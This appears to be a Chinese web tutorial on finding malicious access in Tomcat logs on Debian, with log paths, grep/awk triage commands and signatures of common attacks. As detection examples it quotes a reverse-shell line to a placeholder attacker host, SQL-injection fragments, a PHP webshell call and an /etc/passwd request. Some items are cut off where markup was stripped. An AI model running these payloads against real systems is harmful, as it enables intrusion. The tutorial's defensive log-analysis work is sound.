Debian Tomcat日志中如何识别恶意访问

avatar
作者
筋斗云
阅读量:3

Debian Tomcat日志中识别恶意访问的方法

1. 定位Tomcat日志文件

Debian系统中,Tomcat的日志文件主要分布在以下路径:

  • 访问日志/var/log/tomcat*/localhost_access_log.*.txt(记录所有HTTP请求的详细信息,如IP、时间、方法、URL、状态码);
  • 错误日志/var/log/tomcat*/catalina.out/var/log/tomcat*/localhost..log(记录服务器运行错误、异常堆栈等信息);
  • 应用日志:若应用自定义了日志路径(如/WEB-INF/logs/),需检查应用部署目录下的日志文件。
    通过上述路径可快速定位需要分析的日志文件。

2. 使用Linux命令快速筛选可疑内容

结合grepawk等命令,可高效提取日志中的异常信息:

  • 过滤异常关键字:通过grep查找包含“error”“exception”“sql”“xss”“eval”等关键字的行(如grep -i "error\|exception" /var/log/tomcat*/catalina.out);
  • 统计高频访问:使用awk提取访问日志中的IP地址,统计每个IP的请求次数,识别高频访问的异常IP(如awk '{print $1}' /var/log/tomcat*/localhost_access_log.*.txt | sort | uniq -c | sort -nr);
  • 实时监控日志:通过tail -f命令实时查看日志输出,及时捕获正在进行的攻击(如tail -f /var/log/tomcat*/catalina.out)。

3. 识别常见恶意攻击的日志特征

不同类型的恶意攻击在日志中会留下独特的痕迹,需重点关注以下特征:

  • SQL注入:请求参数中包含and 1=1union selectfrom information_schema等SQL语句片段(如SELECT * FROM users WHERE username='admin' AND 1=1--');
  • 跨站脚本攻击(XSS):请求中嵌入);
  • 命令执行:参数中包含系统命令(如/bin/bashcertutil)或反弹Shell语句(如bash -i >& /dev/tcp/attacker_ip/4444 0>&1);
  • Webshell连接:访问非标准路径(如/admin.php/shell.jsp),并包含evalbase64_decode等函数调用(如eval($_POST['cmd']));
  • 敏感信息泄露:尝试访问web.config/etc/passwd.bak等敏感文件(如GET /etc/passwd HTTP/1.1);
  • 编码隐藏攻击:攻击者常使用URL编码(%3Cscript%3E解码为 jindouyun.cn. All Rights Reserved. 筋斗云 版权所有 | 粤ICP备13013545号 | 增值电信业务经营许可证: 粤B1-20215235 | 公网安备粤公网安备 44070302000974号
    违法和不良信息举报中心违法和不良信息举报中心   24 小时违法和不良信息举报热线:4006783389,举报邮箱:jubao@jindouyun.cn
    ipv6
嘿,我是微信客服!